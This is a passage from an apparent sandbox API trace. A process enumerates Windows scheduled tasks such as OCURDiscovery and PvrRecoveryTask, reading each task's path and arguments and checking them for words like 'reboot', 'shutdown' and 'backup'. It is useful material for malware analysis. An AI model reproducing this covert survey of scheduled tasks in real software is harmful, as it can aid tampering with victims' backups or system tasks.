pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0221.344] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0221.344] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0221.345] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0221.345] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0221.345] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0221.345] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0221.345] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0221.345] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0221.345] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0221.345] IExecAction:get_Arguments (in: This=0x2463748, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/OCURActivate") returned 0x0 [0221.345] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6f3f70 [0221.345] wcsstr (_Str="/ocuractivate", _SubStr="reboot") returned 0x0 [0221.345] wcsstr (_Str="/ocuractivate", _SubStr="restart") returned 0x0 [0221.345] wcsstr (_Str="/ocuractivate", _SubStr="shutdown") returned 0x0 [0221.345] wcsstr (_Str="/ocuractivate", _SubStr="logoff") returned 0x0 [0221.345] wcsstr (_Str="/ocuractivate", _SubStr=".bat") returned 0x0 [0221.345] wcsstr (_Str="/ocuractivate", _SubStr="backup") returned 0x0 [0221.345] wcsstr (_Str="/ocuractivate", _SubStr=".cmd") returned 0x0 [0221.345] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3f70) returned 1 [0221.345] IUnknown:Release (This=0x2463748) returned 0x2 [0221.345] IUnknown:Release (This=0x2463748) returned 0x1 [0221.345] IUnknown:Release (This=0x24664d8) returned 0x1 [0221.345] IUnknown:Release (This=0x2465ed8) returned 0x0 [0221.345] IUnknown:Release (This=0x2466490) returned 0x0 [0221.345] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xa, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2466490) returned 0x0 [0221.345] IRegisteredTask:get_Name (in: This=0x2466490, pName=0x5cf9f8 | out: pName=0x5cf9f8*="OCURDiscovery") returned 0x0 [0221.345] IRegisteredTask:get_State (in: This=0x2466490, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0221.348] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6f3e80 [0221.348] wcsstr (_Str="ocurdiscovery", _SubStr="reboot") returned 0x0 [0221.348] wcsstr (_Str="ocurdiscovery", _SubStr="restart") returned 0x0 [0221.348] wcsstr (_Str="ocurdiscovery", _SubStr="shutdown") returned 0x0 [0221.348] wcsstr (_Str="ocurdiscovery", _SubStr="logoff") returned 0x0 [0221.348] wcsstr (_Str="ocurdiscovery", _SubStr=".bat") returned 0x0 [0221.348] wcsstr (_Str="ocurdiscovery", _SubStr="backup") returned 0x0 [0221.348] wcsstr (_Str="ocurdiscovery", _SubStr=".cmd") returned 0x0 [0221.348] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3e80) returned 1 [0221.348] IRegisteredTask:get_Definition (in: This=0x2466490, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2465ed8) returned 0x0 [0221.352] ITaskDefinition:get_Actions (in: This=0x2465ed8, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x24664d8) returned 0x0 [0221.353] IActionCollection:get_Count (in: This=0x24664d8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0221.353] IActionCollection:get_Item (in: This=0x24664d8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463748) returned 0x0 [0221.353] IAction:get_Type (in: This=0x2463748, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0221.353] IUnknown:QueryInterface (in: This=0x2463748, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463748) returned 0x0 [0221.353] IExecAction:get_Path (in: This=0x2463748, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0221.353] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0221.353] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0221.353] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0221.353] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0221.353] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0221.353] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0221.353] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0221.353] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0221.353] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0221.353] IExecAction:get_Arguments (in: This=0x2463748, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/OCURDiscovery $(Arg0)") returned 0x0 [0221.353] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2e) returned 0x6cab08 [0221.353] wcsstr (_Str="/ocurdiscovery $(arg0)", _SubStr="reboot") returned 0x0 [0221.353] wcsstr (_Str="/ocurdiscovery $(arg0)", _SubStr="restart") returned 0x0 [0221.353] wcsstr (_Str="/ocurdiscovery $(arg0)", _SubStr="shutdown") returned 0x0 [0221.353] wcsstr (_Str="/ocurdiscovery $(arg0)", _SubStr="logoff") returned 0x0 [0221.353] wcsstr (_Str="/ocurdiscovery $(arg0)", _SubStr=".bat") returned 0x0 [0221.353] wcsstr (_Str="/ocurdiscovery $(arg0)", _SubStr="backup") returned 0x0 [0221.353] wcsstr (_Str="/ocurdiscovery $(arg0)", _SubStr=".cmd") returned 0x0 [0221.353] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6cab08) returned 1 [0221.353] IUnknown:Release (This=0x2463748) returned 0x2 [0221.353] IUnknown:Release (This=0x2463748) returned 0x1 [0221.353] IUnknown:Release (This=0x24664d8) returned 0x1 [0221.353] IUnknown:Release (This=0x2465ed8) returned 0x0 [0221.353] IUnknown:Release (This=0x2466490) returned 0x0 [0221.353] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xb, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2466490) returned 0x0 [0221.354] IRegisteredTask:get_Name (in: This=0x2466490, pName=0x5cf9f8 | out: pName=0x5cf9f8*="PBDADiscovery") returned 0x0 [0221.354] IRegisteredTask:get_State (in: This=0x2466490, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0221.356] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6f3ed0 [0221.356] wcsstr (_Str="pbdadiscovery", _SubStr="reboot") returned 0x0 [0221.356] wcsstr (_Str="pbdadiscovery", _SubStr="restart") returned 0x0 [0221.356] wcsstr (_Str="pbdadiscovery", _SubStr="shutdown") returned 0x0 [0221.356] wcsstr (_Str="pbdadiscovery", _SubStr="logoff") returned 0x0 [0221.356] wcsstr (_Str="pbdadiscovery", _SubStr=".bat") returned 0x0 [0221.356] wcsstr (_Str="pbdadiscovery", _SubStr="backup") returned 0x0 [0221.356] wcsstr (_Str="pbdadiscovery", _SubStr=".cmd") returned 0x0 [0221.356] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3ed0) returned 1 [0221.356] IRegisteredTask:get_Definition (in: This=0x2466490, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2465ed8) returned 0x0 [0221.360] ITaskDefinition:get_Actions (in: This=0x2465ed8, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x24664d8) returned 0x0 [0221.360] IActionCollection:get_Count (in: This=0x24664d8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0221.361] IActionCollection:get_Item (in: This=0x24664d8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463748) returned 0x0 [0221.361] IAction:get_Type (in: This=0x2463748, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0221.361] IUnknown:QueryInterface (in: This=0x2463748, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463748) returned 0x0 [0221.361] IExecAction:get_Path (in: This=0x2463748, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0221.361] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0221.361] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0221.361] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0221.361] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0221.361] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0221.361] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0221.361] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0221.361] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0221.361] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0221.361] IExecAction:get_Arguments (in: This=0x2463748, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/PBDADiscovery") returned 0x0 [0221.361] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1e) returned 0x6f41c8 [0221.361] wcsstr (_Str="/pbdadiscovery", _SubStr="reboot") returned 0x0 [0221.361] wcsstr (_Str="/pbdadiscovery", _SubStr="restart") returned 0x0 [0221.361] wcsstr (_Str="/pbdadiscovery", _SubStr="shutdown") returned 0x0 [0221.361] wcsstr (_Str="/pbdadiscovery", _SubStr="logoff") returned 0x0 [0221.361] wcsstr (_Str="/pbdadiscovery", _SubStr=".bat") returned 0x0 [0221.361] wcsstr (_Str="/pbdadiscovery", _SubStr="backup") returned 0x0 [0221.361] wcsstr (_Str="/pbdadiscovery", _SubStr=".cmd") returned 0x0 [0221.361] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f41c8) returned 1 [0221.361] IUnknown:Release (This=0x2463748) returned 0x2 [0221.361] IUnknown:Release (This=0x2463748) returned 0x1 [0221.361] IUnknown:Release (This=0x24664d8) returned 0x1 [0221.361] IUnknown:Release (This=0x2465ed8) returned 0x0 [0221.361] IUnknown:Release (This=0x2466490) returned 0x0 [0221.361] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2466490) returned 0x0 [0221.361] IRegisteredTask:get_Name (in: This=0x2466490, pName=0x5cf9f8 | out: pName=0x5cf9f8*="PBDADiscoveryW1") returned 0x0 [0221.362] IRegisteredTask:get_State (in: This=0x2466490, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0221.363] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x20) returned 0x6f3f98 [0221.363] wcsstr (_Str="pbdadiscoveryw1", _SubStr="reboot") returned 0x0 [0221.363] wcsstr (_Str="pbdadiscoveryw1", _SubStr="restart") returned 0x0 [0221.363] wcsstr (_Str="pbdadiscoveryw1", _SubStr="shutdown") returned 0x0 [0221.363] wcsstr (_Str="pbdadiscoveryw1", _SubStr="logoff") returned 0x0 [0221.363] wcsstr (_Str="pbdadiscoveryw1", _SubStr=".bat") returned 0x0 [0221.363] wcsstr (_Str="pbdadiscoveryw1", _SubStr="backup") returned 0x0 [0221.363] wcsstr (_Str="pbdadiscoveryw1", _SubStr=".cmd") returned 0x0 [0221.363] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3f98) returned 1 [0221.363] IRegisteredTask:get_Definition (in: This=0x2466490, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2465ed8) returned 0x0 [0221.368] ITaskDefinition:get_Actions (in: This=0x2465ed8, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x24664d8) returned 0x0 [0221.368] IActionCollection:get_Count (in: This=0x24664d8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0221.368] IActionCollection:get_Item (in: This=0x24664d8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463788) returned 0x0 [0221.368] IAction:get_Type (in: This=0x2463788, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0221.368] IUnknown:QueryInterface (in: This=0x2463788, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463788) returned 0x0 [0221.368] IExecAction:get_Path (in: This=0x2463788, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0221.368] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0221.368] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0221.368] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0221.368] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0221.368] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0221.368] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0221.368] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0221.368] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0221.368] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0221.368] IExecAction:get_Arguments (in: This=0x2463788, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/wait:7 /PBDADiscovery") returned 0x0 [0221.368] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2e) returned 0x6cab08 [0221.368] wcsstr (_Str="/wait:7 /pbdadiscovery", _SubStr="reboot") returned 0x0 [0221.368] wcsstr (_Str="/wait:7 /pbdadiscovery", _SubStr="restart") returned 0x0 [0221.368] wcsstr (_Str="/wait:7 /pbdadiscovery", _SubStr="shutdown") returned 0x0 [0221.368] wcsstr (_Str="/wait:7 /pbdadiscovery", _SubStr="logoff") returned 0x0 [0221.368] wcsstr (_Str="/wait:7 /pbdadiscovery", _SubStr=".bat") returned 0x0 [0221.369] wcsstr (_Str="/wait:7 /pbdadiscovery", _SubStr="backup") returned 0x0 [0221.369] wcsstr (_Str="/wait:7 /pbdadiscovery", _SubStr=".cmd") returned 0x0 [0221.369] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6cab08) returned 1 [0221.369] IUnknown:Release (This=0x2463788) returned 0x2 [0221.369] IUnknown:Release (This=0x2463788) returned 0x1 [0221.369] IUnknown:Release (This=0x24664d8) returned 0x1 [0221.369] IUnknown:Release (This=0x2465ed8) returned 0x0 [0221.369] IUnknown:Release (This=0x2466490) returned 0x0 [0221.369] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xd, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2466490) returned 0x0 [0221.369] IRegisteredTask:get_Name (in: This=0x2466490, pName=0x5cf9f8 | out: pName=0x5cf9f8*="PBDADiscoveryW2") returned 0x0 [0221.369] IRegisteredTask:get_State (in: This=0x2466490, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0221.372] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x20) returned 0x6f4330 [0221.372] wcsstr (_Str="pbdadiscoveryw2", _SubStr="reboot") returned 0x0 [0221.372] wcsstr (_Str="pbdadiscoveryw2", _SubStr="restart") returned 0x0 [0221.372] wcsstr (_Str="pbdadiscoveryw2", _SubStr="shutdown") returned 0x0 [0221.372] wcsstr (_Str="pbdadiscoveryw2", _SubStr="logoff") returned 0x0 [0221.372] wcsstr (_Str="pbdadiscoveryw2", _SubStr=".bat") returned 0x0 [0221.372] wcsstr (_Str="pbdadiscoveryw2", _SubStr="backup") returned 0x0 [0221.372] wcsstr (_Str="pbdadiscoveryw2", _SubStr=".cmd") returned 0x0 [0221.372] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f4330) returned 1 [0221.372] IRegisteredTask:get_Definition (in: This=0x2466490, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2465ed8) returned 0x0 [0221.377] ITaskDefinition:get_Actions (in: This=0x2465ed8, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x24664d8) returned 0x0 [0221.377] IActionCollection:get_Count (in: This=0x24664d8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0221.377] IActionCollection:get_Item (in: This=0x24664d8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463748) returned 0x0 [0221.377] IAction:get_Type (in: This=0x2463748, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0221.377] IUnknown:QueryInterface (in: This=0x2463748, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463748) returned 0x0 [0221.377] IExecAction:get_Path (in: This=0x2463748, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0221.377] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0221.377] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0221.377] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0221.377] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0221.377] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0221.377] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0221.377] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0221.377] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0221.377] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0221.377] IExecAction:get_Arguments (in: This=0x2463748, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/wait:90 /PBDADiscovery") returned 0x0 [0221.377] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x30) returned 0x6cab08 [0221.377] wcsstr (_Str="/wait:90 /pbdadiscovery", _SubStr="reboot") returned 0x0 [0221.377] wcsstr (_Str="/wait:90 /pbdadiscovery", _SubStr="restart") returned 0x0 [0221.377] wcsstr (_Str="/wait:90 /pbdadiscovery", _SubStr="shutdown") returned 0x0 [0221.377] wcsstr (_Str="/wait:90 /pbdadiscovery", _SubStr="logoff") returned 0x0 [0221.378] wcsstr (_Str="/wait:90 /pbdadiscovery", _SubStr=".bat") returned 0x0 [0221.378] wcsstr (_Str="/wait:90 /pbdadiscovery", _SubStr="backup") returned 0x0 [0221.378] wcsstr (_Str="/wait:90 /pbdadiscovery", _SubStr=".cmd") returned 0x0 [0221.378] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6cab08) returned 1 [0221.378] IUnknown:Release (This=0x2463748) returned 0x2 [0221.378] IUnknown:Release (This=0x2463748) returned 0x1 [0221.378] IUnknown:Release (This=0x24664d8) returned 0x1 [0221.378] IUnknown:Release (This=0x2465ed8) returned 0x0 [0221.378] IUnknown:Release (This=0x2466490) returned 0x0 [0221.378] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xe, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2466490) returned 0x0 [0221.378] IRegisteredTask:get_Name (in: This=0x2466490, pName=0x5cf9f8 | out: pName=0x5cf9f8*="PeriodicScanRetry") returned 0x0 [0221.378] IRegisteredTask:get_State (in: This=0x2466490, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0221.379] IUnknown:Release (This=0x2466490) returned 0x0 [0221.379] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2466490) returned 0x0 [0221.379] IRegisteredTask:get_Name (in: This=0x2466490, pName=0x5cf9f8 | out: pName=0x5cf9f8*="PvrRecoveryTask") returned 0x0 [0221.379] IRegisteredTask:get_State (in: This=0x2466490, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0221.381] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x20) returned 0x6f4178 [0221.381] wcsstr (_Str="pvrrecoverytask", _SubStr="reboot") returned 0x0 [0221.381] wcsstr (_Str="pvrrecoverytask", _SubStr="restart") returned 0x0 [0221.381] wcsstr (_Str="pvrrecoverytask", _SubStr="shutdown") returned 0x0 [0221.381] wcsstr (_Str="pvrrecoverytask", _SubStr="logoff") returned 0x0 [0221.381] wcsstr (_Str="pvrrecoverytask", _SubStr=".bat") returned 0x0 [0221.381] wcsstr (_Str="pvrrecoverytask", _SubStr="backup") returned 0x0 [0221.381] wcsstr (_Str="pvrrecoverytask", _SubStr=".cmd") returned 0x0 [0221.381] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f4178) returned 1 [0221.381] IRegisteredTask:get_Definition (in: This=0x2466490, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2465ed8) returned 0x0 [0221.386] ITaskDefinition:get_Actions (in: This=0x2465ed8, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x24664d8) returned 0x0 [0221.386] IActionCollection:get_Count (in: This=0x24664d8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=2) returned 0x0 [0221.386] IActionCollection:get_Item (in: This=0x24664d8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463748) returned 0x0 [0221.386] IAction:get_Type (in: This=0x2463748, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0221.386] IUnknown:QueryInterface (in: This=0x2463748, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463748) returned 0x0 [0221.386] IExecAction:get_Path (in: This=0x2463748, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\mcupdate.exe") returned 0x0 [0221.386] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x40) returned 0x6c2938 [0221.386] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="reboot") returned 0x0 [0221.386] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="restart") returned 0x0 [0221.386] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="shutdown") returned 0x0 [0221.386] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="logoff") returned 0x0 [0221.386] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".bat") returned 0x0 [0221.386] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="backup") returned 0x0 [0221.386] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".cmd") returned 0x0 [0221.386] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c2938) returned 1 [0221.386] IExecAction:get_Arguments (in: This=0x2463748, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="-PvrRecoveryTask") returned 0x0 [0221.386] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x22) returned 0x6c88f8 [0221.386] wcsstr (_Str="-pvrrecoverytask", _SubStr="reboot") returned 0x0 [0221.386] wcsstr (_Str="-pvrrecoverytask", _SubStr="restart") returned 0x0 [0221.386] wcsstr (_Str="-pvrrecoverytask", _SubStr="shutdown") returned 0x0 [0221.386] wcsstr (_Str="-pvrrecoverytask", _SubStr="logoff") returned 0x0 [0221.386] wcsstr (_Str="-pvrrecoverytask", _SubStr=".bat") returned 0x0 [0221.386] wcsstr (_Str="-pvrrecoverytask", _SubStr="backup") returned 0x0 [0221.386] wcsstr (_Str="-pvrrecoverytask", _SubStr=".cmd") returned 0x0 [0221.387] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0221.387] IUnknown:Release (This=0x2463748) returned 0x2 [0221.387] IUnknown:Release (This=0x2463748) returned 0x1 [0221.387] IActionCollection:get_Item (in: This=0x24664d8, index=2, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463788) returned 0x0 [0221.387] IAction:get_Type (in: This=0x2463788, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0221.387] IUnknown:Release (This=0x2463788) returned 0x1 [0221.387] IUnknown:Release (This=0x24664d8) returned 0x1 [0221.387] IUnknown:Release (This=0x2465ed8) returned 0x0 [0221.387] IUnknown:Release (This=0x2466490) returned 0x0 [0221.387] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x10, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2466490) returned 0x0 [0221.387] IRegisteredTask:get_Name (in: This=0x2466490, pName=0x5cf9f8 | out: pName=0x5cf9f8*="PvrScheduleTask") returned 0x0 [0221.387] IRegisteredTask:get_State (in: This=0x2466490, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0221.388] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x20) returned 0x6f43d0 [0221.388] wcsstr (_Str="pvrscheduletask", _SubStr="reboot") returned 0x0 [0221.388] wcsstr (_Str="pvrscheduletask", _SubStr="restart") returned 0x0 [0221.388] wcsstr (_Str="pvrscheduletask", _SubStr="shutdown") returned 0x0 [0221.388] wcsstr (_Str="pvrscheduletask", _SubStr="logoff") returned 0x0 [0221.389] wcsstr (_Str="pvrscheduletask", _SubStr=".bat") returned 0x0 [0221.389] wcsstr (_Str="pvrscheduletask", _SubStr="backup") returned 0x0 [0221.389] wcsstr 